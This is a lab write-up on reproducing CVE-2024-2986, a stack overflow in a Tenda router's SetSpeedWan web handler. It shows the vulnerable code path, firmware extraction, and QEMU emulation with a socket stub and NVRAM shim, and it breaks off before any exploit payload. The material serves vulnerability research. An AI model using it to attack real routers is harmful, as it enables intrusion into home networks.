1 Overview
1.1 CVE-2024-2986
CVE-2024-2986 was publicly described as a stack overflow in formSetSpeedWan, where speed_dir was formatted into a stack buffer with sprintf without a proper length check.
- Vendor: Tenda
- CVE: CVE-2024-2986
- CNVD: CNVD-2025-31165
- Affected endpoint:
/goform/SetSpeedWan - Vulnerable parameter:
speed_dir - Vulnerability type: Stack buffer overflow
- Impact: Denial of Service and possible Remote Code Execution
Vulnerable pseudocode:
// User-controlled input retrieval
char *speedDir = get_param_or_default(request, "speed_dir", "0");
// Response construction (vulnerable to injection)
sprintf(
response,
"{\"errCode\":%d,\"speed_dir\":%s}",
errorCode,
speedDir
);This write-up is for authorized research/lab use only. Testing only with authorization.
1.2 Victim Target
The target is a widely deployed IoT firmware used in home routers.
1.2.1 Tenda AC15

The public CVE text names FH1202, but this lab reproduction used the AC15 firmware branch from the published handler analysis. The runtime still reflected a typical Linux router:
- Routes traffic between WAN (internet side) and LAN (home side)
- Provides NAT/firewall rules
- Runs a web management service (
httpd) for configuration - Stores settings (wireless, WAN, admin config) in config/NVRAM-like storage
1.2.2 Web Management Service
The bug exists in the router web admin panel:

The web interface is served by the httpd daemon. The following attack surface was identified for exploitation:
- Send an HTTP request to the router management IP.
httpdreceives the request under/goform/....- The handler parses
speed_dir. - The handler writes a response with C string API
sprintf. - Without proper bounds, the stack could be corrupted.
1.3 ARM Architecture
For the AC15 image, the target was 32-bit ARM little-endian. Emulation, debugger setup, calling convention review, and the final payload layout were therefore ARM-specific.
Major ARM characteristics:
- Calling convention: first arguments are passed in
r0-r3. - Return control is tracked through
lrand the saved stack frame. - Debug/emulation tooling: use ARM binaries (
qemu-arm-static,gdb-multiarchwith ARM target).
This writeup only records the ARM details needed for this target. Useful references:
- ARM architecture overview: https://en.wikipedia.org/wiki/ARM_architecture_family
- ARM calling convention reference: https://azeria-labs.com/functions-and-the-stack-part-7/
- ARM assembly: https://armasm.com/docs/
2 Lab Deployment
2.1 Host Environment Fingerprinting
The lab environment profile:
- Hypervisor: VMware
- Guest OS: Ubuntu 22.04.5
- Lab host architecture: x86_64
- Target firmware architecture: ARM little-endian
- Recommended VM resources: 4 vCPU, 8 GB RAM, 60+ GB disk
2.2 Dependency Setup
2.2.1 Required Packages
Install toolchain:
sudo apt update
sudo apt install -y \
binwalk qemu-user-static gdb-multiarch patchelf file unzip wget curl \
python3 python3-pip python3-venv build-essential git \
libcapstone-dev squashfs-tools liblzma-dev liblzo2-dev zlib1g-dev liblz4-dev
python3 -m pip install --user pwntools requests ropgadget2.2.2 SquashFS Tooling
Skip this if not needed for patching the environment.
This firmware uses non-standard SquashFS metadata. SquashFS is a compressed read-only filesystem commonly used for:
- Embedded devices (routers, cameras, IoT)
- Firmware images
- Live Linux systems
- Containers and appliances
Later, binwalk -e is used to extract the image. It may detect the offsets correctly but still fail to unpack squashfs-root unless sasquatch is available and compatible with the local compiler.
Prepare extractor:
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
# bootstrap source tree (creates squashfs4.3/ on first run)
if [ ! -d squashfs4.3 ]; then
./build.sh || true
fi
# compiler compatibility adjustments
sed -i 's/-Wall -Werror/-Wall -fcommon/' squashfs4.3/squashfs-tools/Makefile
sudo chown -R $USER:$USER .
chmod -R u+rwX squashfs4.3
# rebuild and install
make -C squashfs4.3/squashfs-tools clean
make -C squashfs4.3/squashfs-tools
sudo install -m 0755 squashfs4.3/squashfs-tools/sasquatch /usr/local/bin/sasquatch2.3 Workspace Initialization
The lab workspace used this layout across the writeup:
~/labs/cve-2024-2986/
├── firmware/ # downloaded zip, extracted .bin, binwalk output
└── rootfs/ # runtime filesystem for emulation/chrootInitialize workspace:
mkdir -p ~/labs/cve-2024-2986/{firmware,rootfs}
cd ~/labs/cve-2024-2986Download and unpack the firmware:
wget -O 'US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip' \
'https://static.tenda.com.cn/tdcweb/download/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip'
mkdir -p firmware/ac15_15030519
unzip -o 'US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip' -d firmware/ac15_15030519The unpacked firmware image:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ file firmware/ac15_15030519/'US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin' firmware/ac15_15030519/US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin: u-boot legacy uImage, \002, Linux/ARM, OS Kernel Image (lzma), 10629120 bytes, Fri May 26 02:03:05 2017, Load Address: 0X80000000, Entry Point: 0XC0008000, Header CRC: 0X1FE383A9, Data CRC: 0XE67F312E
2.4 Firmware Extraction
Use binwalk to extract the US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin image:
cd ~/labs/cve-2024-2986/firmware/ac15_15030519
binwalk -e -1 'US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin'
-1was used to preserve original symlinks during extraction.
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/firmware/ac15_15030519$ binwalk -e -1 'US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin' DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 64 0x40 TRX firmware header, little endian, image size: 10629120 bytes, CRC32: 0xAB135998, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1C9E58, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4585280 bytes 1875608 0x1C9E98 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8749996 bytes, 928 inodes, blocksize: 131072 bytes, created: 2017-05-26 02:03:03
This extraction result gave the first concrete layout of the AC15 image:
0x40: TRX firmware header0x5C: LZMA-compressed kernel payload0x1C9E98: SquashFS root filesystem
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/firmware/ac15_15030519$ binwalk -e -1 'US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin' DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 64 0x40 TRX firmware header, little endian, image size: 10629120 bytes, CRC32: 0xAB135998, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1C9E58, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4585280 bytes 1875608 0x1C9E98 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8749996 bytes, 928 inodes, blocksize: 131072 bytes, created: 2017-05-26 02:03:03 axura@ubuntu-22-04-5:~/labs/cve-2024-2986/firmware/ac15_15030519$ tree _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/ -L 2 _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/ ├── 1C9E98.squashfs ├── 5C ├── 5C.7z ├── squashfs-root │ ├── bin │ ├── cfg │ ├── dev │ ├── etc -> /var/etc │ ├── etc_ro │ ├── home -> /var/home │ ├── init -> bin/busybox │ ├── lib │ ├── mnt │ ├── proc │ ├── root -> /var/root │ ├── sbin │ ├── sys │ ├── tmp │ ├── usr │ ├── var │ ├── webroot -> var/webroot │ └── webroot_ro └── squashfs-root-0 ├── bin ├── cfg ├── dev ├── etc -> /var/etc ├── etc_ro ├── home -> /var/home ├── init -> bin/busybox ├── lib ├── mnt ├── proc ├── root -> /var/root ├── sbin ├── sys ├── tmp ├── usr ├── var ├── webroot -> var/webroot └── webroot_ro 30 directories, 11 files
The unpacked directory contains:
1C9E98.squashfs- the carved SquashFS filesystem blob at the offset reported by
binwalk
- the carved SquashFS filesystem blob at the offset reported by
squashfs-root/- unpacked root filesystem produced by the extractor
squashfs-root-0/- a second unpacked copy created during recursive extraction; for this lab it is redundant
Only one unpacked root filesystem is needed for emulation. We only used squashfs-root/ as the runtime source tree.
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/firmware/ac15_15030519$ tree -P rcS --prune _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/ _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/ └── squashfs-root └── etc_ro └── init.d └── rcS axura@ubuntu-22-04-5:~/labs/cve-2024-2986/firmware/ac15_15030519$ tree -P httpd --prune _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/ _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/ └── squashfs-root └── bin └── httpd
The important runtime artifacts from this tree are:
bin/httpd- primary web management server — the victim binary
etc_ro/init.d/rcS- boot-time script that prepares runtime directories and daemon startup
webroot_ro/- static web UI files and request flow context
2.5 Root Filesystem Construction
At this stage, the lab root filesystem is prepared by populating the extracted firmware into rootfs, which is later used for chroot. QEMU is also deployed to emulate the ARM runtime.
Duplicate the firmware runtime layout to ~/labs/cve-2024-2986/rootfs:
# make sure it is clean
rm -rf ~/labs/cve-2024-2986/rootfs/*
# copy from extraction
sudo cp -a \
~/labs/cve-2024-2986/firmware/ac15_15030519/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root/. \
~/labs/cve-2024-2986/rootfs/All later commands run against ~/labs/cve-2024-2986/rootfs.
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ tree rootfs/ -L 1 rootfs/ ├── bin ├── cfg ├── dev ├── etc -> /var/etc ├── etc_ro ├── home -> /var/home ├── init -> bin/busybox ├── lib ├── mnt ├── proc ├── root -> /var/root ├── sbin ├── sys ├── tmp ├── usr ├── var ├── webroot -> var/webroot └── webroot_ro 14 directories, 4 files
For convenience, this path is exported as $LAB in ~/.bashrc:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ cat ~/.bashrc | grep LAB export LAB=$HOME/labs/cve-2024-2986/rootfs
Then copy qemu-arm-static into the lab rootfs. It acts as the userspace translator that lets the x86_64 host execute the firmware's ARM ELF binaries after chroot:
sudo cp /usr/bin/qemu-arm-static "$LAB/usr/bin/"3 Httpd Service Emulation
This stage reconstructs enough of the AC15 userspace to run the firmware httpd inside an x86_64 VM, removing the need for a physical router. By emulating the runtime environment, we can analyze the real web-management process in a controlled and reproducible setting.
3.1 Web Interface Exposure
The first missing piece is the LAN-side interface that the web management service expects. In this lab, that role is reproduced with br0:
sudo ip link add name br0 type bridge 2>/dev/null || true
sudo ip link set br0 up
sudo ip addr replace 192.168.200.5/24 dev br0Later in the firmware configuration, we observe that
br0is used as the default bridge interface.
This becomes the management-side address used later for service validation and /goform/SetSpeedWan.
3.2 rcS Runtime Reconstruction
The extracted rootfs is not immediately runnable as-is. The firmware keeps default content in read-only trees such as etc_ro/ and webroot_ro/, and rcS promotes them into live paths under /etc, /webroot, and /var before any service starts.
Read the rcS script under:
$LAB/etc_ro/init.d/rcSThe emulated runtime preparation followed the same sequence:
sudo chroot "$LAB" /usr/bin/qemu-arm-static /bin/sh -c '
mount -t ramfs none /var/
mkdir -p /var/etc /var/media /var/webroot /var/etc/iproute /var/run
cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
mkdir -p /var/etc/upan
mount -a
mount -t ramfs none /dev
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts
mount -t tmpfs none /var/etc/upan -o size=2M
mdev -s
mkdir -p /var/run
'3.3 Missing Backend Dependencies
At this point, the filesystem looked right, but httpd was still not standalone. Configuration paths were delegated to backend components that do not exist automatically in offline emulation.
Two missing pieces showed up immediately once the rootfs was inspected.
The first gap was inside the chroot runtime:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ sudo chroot "$LAB" /usr/bin/qemu-arm-static /bin/sh ~ # ls -l /var/cfm_socket ls: /var/cfm_socket: No such file or directory
The second gap was in the httpd symbol surface:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -Ws "$LAB/bin/httpd" | grep -E 'bcm_nvram' 146: 0000efa8 0 FUNC GLOBAL DEFAULT UND bcm_nvram_set 161: 0000effc 0 FUNC GLOBAL DEFAULT UND bcm_nvram_match 200: 0000f0f8 0 FUNC GLOBAL DEFAULT UND bcm_nvram_get 357: 0000f440 0 FUNC GLOBAL DEFAULT UND bcm_nvram_commit
These checks established the two missing dependencies directly:
/var/cfm_socket(used bylibCfm.so) is absent, so the local CFM client has no backend endpointbcm_nvram_set,bcm_nvram_match,bcm_nvram_get, andbcm_nvram_commitare imported in the ARMhttpd, but unresolved
Without these two pieces, the emulated httpd could not follow its normal configuration path. The next steps therefore rebuild them in userland: a local CFM socket service and an NVRAM shim.
3.3.1 CFM Socket Service
Before bringing the service up, two binaries defined the dependency surface:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ file $LAB/lib/libCfm.so /home/axura/labs/cve-2024-2986/rootfs/lib/libCfm.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, with debug_info, not stripped axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ file $LAB/bin/httpd /home/axura/labs/cve-2024-2986/rootfs/bin/httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.s o.0, stripped
libCfm.so is the local configuration client used by httpd and other services. Its first job in this workflow was to reveal which endpoint it talks to and how that message format is structured.
To better understand how it works, we can take a deep dive into libCfm.so static reversing.
3.3.1.1 Backend Socket Endpoint
int ConnectServer()
{
sockaddr_un server_sockaddr;
int len;
int fd;
fd = socket(1, 1, 0); // AF_UNIX + SOCK_STREAM
if ( fd < 0 )
return fd;
len = 110; // sockaddr_un size
memset(&server_sockaddr, 0, sizeof(server_sockaddr));
server_sockaddr.sun_family = 1; // AF_UNIX
strncpy(server_sockaddr.sun_path, "/var/cfm_socket", 0x6Bu); // backend endpoint
if ( connect(fd, (const struct sockaddr *)&server_sockaddr, len) != -1 )
return fd; // connected CFM channel
perror("connect");
close(fd);
return -1;
}ConnectServer exposed three important facts directly:
- local IPC uses
AF_UNIX - backend path is
/var/cfm_socket - socket type is
SOCK_STREAM
So the emulated backend had to be a UNIX stream socket listener bound at:
/var/cfm_socket3.3.1.2 Packet Transport Size
int SendMsg(int sock, PCMDINFO pCmd)
{
return write(sock, pCmd, 0x7E0u); // fixed-size CMDINFO packet
}
int RecvMsg(int sock, PCMDINFO pCmd)
{
ssize_t ret;
do
ret = read(sock, pCmd, 0x7E0u); // fixed-size CMDINFO packet
while ( ret == -1 && (*_errno_location() == 4 || *_errno_location() == 11) );
return ret;
}Transport is fixed-size:
SendMsgwrites0x7E0RecvMsgreads0x7E0
3.3.1.3 Packet Field Mapping
int GetValue(char *name, char *value)
{
CMDINFO info_mib; // request/response packet
char name_temp[512]; // bounded copy of requested key
int rt;
rt = 1;
memset(name_temp, 0, sizeof(name_temp));
j_lockUserMutex(); // serialize access to shared fd_mib
if ( fd_mib > 0 || j_ConnectCfm() ) // reuse open connection or connect now
{
if ( strlen(name) <= 0x1FF ) // name must fit CMDINFO.name[0x200]
{
strcpy(name_temp, name);
strcpy(info_mib.name, name_temp); // request key
info_mib.value[0] = 0; // clear return slot
info_mib.cmd = 2; // GET request opcode
rt = j_SendMsg(fd_mib, (PCMDINFO)&info_mib);
if ( rt == 2016 && (rt = j_RecvMsg(fd_mib, (PCMDINFO)&info_mib), rt == 2016) )
{
if ( info_mib.cmd == 3 && !strcmp(info_mib.name, name_temp) ) // GET response for same key
{
rt = 1;
strcpy(value, info_mib.value); // copy returned value to caller
}
}
}
}
j_unlockUserMutex();
return rt;
}
int SetValue(char *name, char *value)
{
CMDINFO info_mib; // request/response packet
int ret;
j_lockUserMutex(); // serialize shared CFM channel
if ( fd_mib > 0 || j_ConnectCfm() )
{
if ( strlen(name) <= 0x1FF ) // name must fit CMDINFO.name[0x200]
{
strcpy(info_mib.name, name); // key name
if ( strlen(value) <= 0x5DB ) // value must fit CMDINFO.value[0x5DC]
{
strcpy(info_mib.value, value); // key value
info_mib.cmd = 0; // SET request opcode
ret = j_SendMsg(fd_mib, (PCMDINFO)&info_mib);
if ( ret == 2016
&& (ret = j_RecvMsg(fd_mib, (PCMDINFO)&info_mib), ret == 2016)
&& info_mib.cmd == 1 // SET-OK response
&& !strcmp(info_mib.name, name) ) // backend echoed same key
{
ret = 1;
}
}
}
}
j_unlockUserMutex();
return ret;
}These helpers defined the wire layout:
cmdat offset0x0nameat offset0x4with length0x200valueat offset0x204with length0x5DC
CommitCfm uses the same packet and transport path for the apply step:
int CommitCfm()
{
CMDINFO info_mib; // request/response packet
int rtv;
int rt;
rt = 0;
rtv = 1;
j_lockUserMutex(); // commit uses same shared backend channel
if ( fd_mib > 0 || j_ConnectCfm() )
{
info_mib.cmd = 10; // COMMIT request opcode
rt = j_SendMsg(fd_mib, (PCMDINFO)&info_mib);
if ( rt == 2016 ) // request packet sent successfully
{
rt = j_RecvMsg(fd_mib, (PCMDINFO)&info_mib);
if ( rt == 2016 ) // full response packet received
{
if ( info_mib.cmd != 11 && info_mib.cmd != 16 ) // accepted commit response codes
{
doSystemCmd("echo 'recv error[RecvMsg]' >> /var/miblog");
j_DisconnectCfm(); // drop broken session on protocol mismatch
rtv = 0;
}
}
}
}
j_unlockUserMutex();
return 1;
}The local configuration flow used by later web handlers is therefore:
GetValuefor lookupSetValuefor updateCommitCfmfor apply
3.3.1.4 Packet Structure
The decompiled AC15 build shows the request packet locals typed as CMDINFO in the current IDA database:

This is the packet contract used by the local CFM backend (GetValue, SetValue, CommitCfm) in the lab.
typedef struct _CMDINFO {
int cmd; // +0x000
char name[0x200]; // +0x004
char value[0x5DC]; // +0x204
} CMDINFO; // total: 0x7E0 (2016)Our emulation helper has to preserve this exact wire format. If the packet size or field offsets are wrong, libCfm.so parses garbage and the web request path breaks before it reaches the vulnerable handler.
3.3.1.5 UDS Server Emulation
With the packet workflow and structure in place, the next step was to emulate the local socket /var/cfm_socket so the runtime httpd could continue through libCfm.so.
UDS (Unix Domain Socket) is local process-to-process communication over a filesystem path.
The full backend logic was not needed here. A small lab helper (uds_server.py) was enough to keep the local CFM request path alive by mirroring the same CMDINFO packet contract and returning structurally valid replies:
#!/usr/bin/env python3
import argparse
import os
import signal
import socket
import struct
import sys
from typing import Dict, Tuple
# CFM packet contract recovered from IDA:
# int cmd @ +0x0
# char name[0x200] @ +0x4
# char value[0x5DC] @ +0x204
MSG_SIZE = 0x7E0
NAME_OFF = 0x004
NAME_LEN = 0x200
VALUE_OFF = 0x204
VALUE_LEN = 0x5DC
def cstr(raw: bytes) -> str:
"""Read C-style string until first NUL."""
return raw.split(b"\x00", 1)[0].decode("utf-8", errors="ignore")
def put_cstr(buf: bytearray, off: int, size: int, s: str) -> None:
"""Write bounded NUL-terminated string into fixed field."""
data = s.encode("utf-8", errors="ignore")[: size - 1]
buf[off : off + size] = b"\x00" * size
buf[off : off + len(data)] = data
def parse_msg(data: bytes) -> Tuple[int, str, str]:
"""Normalize to fixed packet size, then decode fields by offset."""
if len(data) < MSG_SIZE:
data = data + (b"\x00" * (MSG_SIZE - len(data)))
cmd = struct.unpack_from("<i", data, 0)[0]
name = cstr(data[NAME_OFF : NAME_OFF + NAME_LEN])
value = cstr(data[VALUE_OFF : VALUE_OFF + VALUE_LEN])
return cmd, name, value
def build_msg(cmd: int, name: str = "", value: str = "") -> bytes:
"""Build one fixed-size CFM packet to send back."""
out = bytearray(MSG_SIZE)
struct.pack_into("<i", out, 0, cmd)
put_cstr(out, NAME_OFF, NAME_LEN, name)
put_cstr(out, VALUE_OFF, VALUE_LEN, value)
return bytes(out)
def main() -> int:
parser = argparse.ArgumentParser(
description="Minimal CFM UDS backend for Tenda AC15 emulation"
)
parser.add_argument(
"--socket-path",
default="/var/cfm_socket",
help="UNIX socket path",
)
parser.add_argument(
"--sock-type",
choices=["dgram", "stream"],
default="stream",
help="UNIX socket type to emulate",
)
args = parser.parse_args()
sock_path = args.socket_path
os.makedirs(os.path.dirname(sock_path), exist_ok=True)
# Remove stale socket file from previous runs.
if os.path.exists(sock_path):
os.unlink(sock_path)
# Minimal in-memory config KV store for GET/SET emulation.
store: Dict[str, str] = {}
running = True
def stop_handler(signum, _frame):
nonlocal running
print(f"[uds] signal {signum}, stopping")
running = False
signal.signal(signal.SIGINT, stop_handler)
signal.signal(signal.SIGTERM, stop_handler)
sock_type = socket.SOCK_DGRAM if args.sock_type == "dgram" else socket.SOCK_STREAM
sock = socket.socket(socket.AF_UNIX, sock_type)
sock.bind(sock_path)
if sock_type == socket.SOCK_STREAM:
sock.listen(16)
sock.settimeout(0.5)
os.chmod(sock_path, 0o777)
print(
f"[uds] listening on {sock_path} "
f"(AF_UNIX/{'SOCK_DGRAM' if sock_type == socket.SOCK_DGRAM else 'SOCK_STREAM'}), "
f"msg_size=0x{MSG_SIZE:x}"
)
try:
while running:
if sock_type == socket.SOCK_DGRAM:
try:
data, addr = sock.recvfrom(MSG_SIZE)
except socket.timeout:
continue
except KeyboardInterrupt:
break
cmd, name, value = parse_msg(data)
print(f"[uds] recv cmd={cmd} name='{name}' value='{value[:64]}' addr={addr!r}")
# Observed command contract in this build:
# SET(0) -> ACK(1)
# GET(2) -> ACK(3) with value
# COMMIT(10)-> ACK(11)
if cmd == 0:
store[name] = value
resp = build_msg(1, name, value)
elif cmd == 2:
resp = build_msg(3, name, store.get(name, ""))
elif cmd == 10:
resp = build_msg(11, name, value)
else:
# Unknown op: preserve wire shape and avoid hard failure.
resp = build_msg(cmd, name, value)
try:
sent = sock.sendto(resp, addr)
if sent != MSG_SIZE:
print(f"[uds] short send: {sent}/{MSG_SIZE}")
except Exception as e:
print(f"[uds] send error: {e}")
else:
try:
conn, _ = sock.accept()
except socket.timeout:
continue
except KeyboardInterrupt:
break
with conn:
try:
data = conn.recv(MSG_SIZE)
except Exception as e:
print(f"[uds] recv error: {e}")
continue
if not data:
continue
cmd, name, value = parse_msg(data)
print(f"[uds] recv cmd={cmd} name='{name}' value='{value[:64]}'")
if cmd == 0:
store[name] = value
resp = build_msg(1, name, value)
elif cmd == 2:
resp = build_msg(3, name, store.get(name, ""))
elif cmd == 10:
resp = build_msg(11, name, value)
else:
resp = build_msg(cmd, name, value)
try:
conn.sendall(resp)
except Exception as e:
print(f"[uds] send error: {e}")
finally:
sock.close()
# Always remove socket file on exit to keep next run clean.
try:
if os.path.exists(sock_path):
os.unlink(sock_path)
except OSError:
pass
print("[uds] stopped")
return 0
if __name__ == "__main__":
sys.exit(main())The helper only implements the minimum command behavior needed by this request path:
SET (0)->ACK (1)GET (2)->ACK (3)with stored valueCOMMIT (10)->ACK (11)
This was enough for service bring-up and for the early configuration requests that would otherwise fail inside libCfm.so.
The earlier ConnectServer() analysis already showed that the current libCfm.so uses:
socket(AF_UNIX, SOCK_STREAM, ...)So the helper has to run in stream mode instead of datagram mode.
Two modes:
SOCK_STREAMis connection-oriented;connect()pairs withlisten()/accept()SOCK_DGRAMis message-oriented; there is no connection handshake, and send/receive semantics differ
If the helper starts with the wrong socket type, connect() fails with Protocol wrong type before the CFM path can work.
So in this lab, the UDS server is started with:
python3 uds_server.py --socket-path "$LAB/var/cfm_socket" --sock-type stream3.3.2 NVRAM Hooking Layer
The second missing dependency is the Broadcom NVRAM layer. httpd imports helpers such as bcm_nvram_get, bcm_nvram_set, bcm_nvram_match, and bcm_nvram_commit. On the real router, those resolve into the platform configuration store. In emulation, those symbols are absent, so startup and request handling fail unless a compatible shim is injected.
3.3.2.1 Reference Config Source
The shim seeds its state from the firmware default configuration files:
$LAB/webroot/default.cfg
$LAB/webroot/nvram_default.cfgBoth files exist in this AC15 rootfs. For this target branch, default.cfg is used as the primary seed source.
Keys relevant to the web service path include:
...
lan.ip=192.168.0.1
lan.webip=0.0.0.0
lan.webport=80
lan_ifname=br0
lan_ifnames=vlan1 eth1 eth2
...These files are the baseline configuration source consumed by the preload shim.
3.3.2.2 Hook Implementation (hook_nvram.c)
The preload shim is implemented in hook_nvram.c. It keeps a small in-memory NVRAM table, loads defaults from default.cfg first, and writes a snapshot on commit:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#define MAX_NV_PAIRS 4096
#define MAX_KEY_LEN 128
#define MAX_VAL_LEN 1024
/* Default paths (can be overridden by env vars below). */
#define NVRAM_SEED_PATH_DEFAULT "/webroot/default.cfg"
#define NVRAM_SEED_PATH_FALLBACK1 "/webroot/nvram_default.cfg"
#define NVRAM_SEED_PATH_FALLBACK2 "/var/default.cfg"
#define NVRAM_COMMIT_SNAPSHOT_DEFAULT "/tmp/nvram_commit_snapshot.cfg"
typedef struct {
int used;
char key[MAX_KEY_LEN];
char val[MAX_VAL_LEN];
} nv_pair_t;
static nv_pair_t g_nv[MAX_NV_PAIRS];
static pthread_mutex_t g_nv_lock = PTHREAD_MUTEX_INITIALIZER;
static int g_loaded = 0;
static const char *g_seed_path = NVRAM_SEED_PATH_DEFAULT;
static const char *g_snapshot_path = NVRAM_COMMIT_SNAPSHOT_DEFAULT;
static const char *pick_env_or_default(const char *env_name, const char *fallback) {
const char *v = getenv(env_name);
if (v && *v) return v;
return fallback;
}
static int find_key(const char *key) {
/* Linear lookup is enough for lab-scale emulation. */
int i;
for (i = 0; i < MAX_NV_PAIRS; i++) {
if (g_nv[i].used && strcmp(g_nv[i].key, key) == 0) {
return i;
}
}
return -1;
}
static int alloc_slot(void) {
/* First free slot for a new key. */
int i;
for (i = 0; i < MAX_NV_PAIRS; i++) {
if (!g_nv[i].used) {
return i;
}
}
return -1;
}
static void set_kv_locked(const char *key, const char *val) {
/* Upsert (insert/update) key-value pair. */
int idx;
if (!key || !*key) return;
if (!val) val = "";
idx = find_key(key);
if (idx < 0) {
idx = alloc_slot();
if (idx < 0) return;
g_nv[idx].used = 1;
strncpy(g_nv[idx].key, key, MAX_KEY_LEN - 1);
g_nv[idx].key[MAX_KEY_LEN - 1] = '\0';
}
strncpy(g_nv[idx].val, val, MAX_VAL_LEN - 1);
g_nv[idx].val[MAX_VAL_LEN - 1] = '\0';
}
static void load_cfg_file(const char *path) {
/* Parse Broadcom-style "key=value" defaults. */
FILE *fp;
char line[1536];
char *eq;
char *k;
char *v;
fp = fopen(path, "r");
if (!fp) return;
while (fgets(line, sizeof(line), fp)) {
k = line;
while (*k == ' ' || *k == '\t') k++;
if (*k == '#' || *k == ';' || *k == '\n' || *k == '\0') continue;
eq = strchr(k, '=');
if (!eq) continue;
*eq = '\0';
v = eq + 1;
while (*v == ' ' || *v == '\t') v++;
k[strcspn(k, "\r\n\t ")] = '\0';
v[strcspn(v, "\r\n")] = '\0';
if (*k) set_kv_locked(k, v);
}
fclose(fp);
}
static int file_exists(const char *path) {
FILE *fp;
if (!path || !*path) return 0;
fp = fopen(path, "r");
if (!fp) return 0;
fclose(fp);
return 1;
}
static void ensure_loaded_locked(void) {
/* Lazy one-time preload from firmware defaults. */
if (g_loaded) return;
/*
* AC15 rootfs carries both default.cfg and nvram_default.cfg. Prefer
* default.cfg first for this target branch, then fall back to the other
* known firmware paths.
*/
if (file_exists(g_seed_path)) {
load_cfg_file(g_seed_path);
} else if (file_exists(NVRAM_SEED_PATH_FALLBACK1)) {
load_cfg_file(NVRAM_SEED_PATH_FALLBACK1);
} else if (file_exists(NVRAM_SEED_PATH_FALLBACK2)) {
load_cfg_file(NVRAM_SEED_PATH_FALLBACK2);
}
g_loaded = 1;
}
__attribute__((visibility("default")))
int bcm_nvram_set(const char *name, const char *value) {
/* Firmware expects 0 on success. */
pthread_mutex_lock(&g_nv_lock);
ensure_loaded_locked();
set_kv_locked(name, value);
pthread_mutex_unlock(&g_nv_lock);
return 0;
}
__attribute__((visibility("default")))
char *bcm_nvram_get(const char *name) {
/* Return internal pointer, similar to legacy nvram APIs. */
int idx;
pthread_mutex_lock(&g_nv_lock);
ensure_loaded_locked();
idx = find_key(name ? name : "");
pthread_mutex_unlock(&g_nv_lock);
if (idx < 0) return NULL;
return g_nv[idx].val;
}
__attribute__((visibility("default")))
int bcm_nvram_match(const char *name, const char *match) {
/* Non-zero means match, zero means mismatch/failure. */
char *v = bcm_nvram_get(name);
if (!v || !match) return 0;
return strcmp(v, match) == 0;
}
__attribute__((visibility("default")))
int bcm_nvram_unset(const char *name) {
/* Optional helper used by some paths. */
int idx;
pthread_mutex_lock(&g_nv_lock);
ensure_loaded_locked();
idx = find_key(name ? name : "");
if (idx >= 0) {
memset(&g_nv[idx], 0, sizeof(g_nv[idx]));
}
pthread_mutex_unlock(&g_nv_lock);
return 0;
}
__attribute__((visibility("default")))
int bcm_nvram_commit(void) {
/*
* Real firmware persists to flash/NVRAM.
* Lab shim writes a snapshot for observability.
*/
FILE *fp;
int i;
pthread_mutex_lock(&g_nv_lock);
ensure_loaded_locked();
fp = fopen(g_snapshot_path, "w");
if (fp) {
for (i = 0; i < MAX_NV_PAIRS; i++) {
if (g_nv[i].used) fprintf(fp, "%s=%s\n", g_nv[i].key, g_nv[i].val);
}
fclose(fp);
}
pthread_mutex_unlock(&g_nv_lock);
return 0;
}
__attribute__((visibility("default")))
int bcm_nvram_init(void *unused) {
/* Initialization entry expected by some call paths. */
(void)unused;
pthread_mutex_lock(&g_nv_lock);
ensure_loaded_locked();
pthread_mutex_unlock(&g_nv_lock);
return 0;
}
__attribute__((visibility("default")))
int bcm_nvram_restore(void) {
/* Minimal restore stub: keep currently loaded defaults/state. */
pthread_mutex_lock(&g_nv_lock);
ensure_loaded_locked();
pthread_mutex_unlock(&g_nv_lock);
return 0;
}
__attribute__((visibility("default")))
char *bcm_nvram_getall(char *buf, int count) {
/*
* Flatten key=value pairs as NUL-separated strings terminated by an extra
* NUL, which is sufficient for legacy enumeration callers.
*/
int i, used = 0, n;
pthread_mutex_lock(&g_nv_lock);
ensure_loaded_locked();
if (!buf || count <= 0) {
pthread_mutex_unlock(&g_nv_lock);
return buf;
}
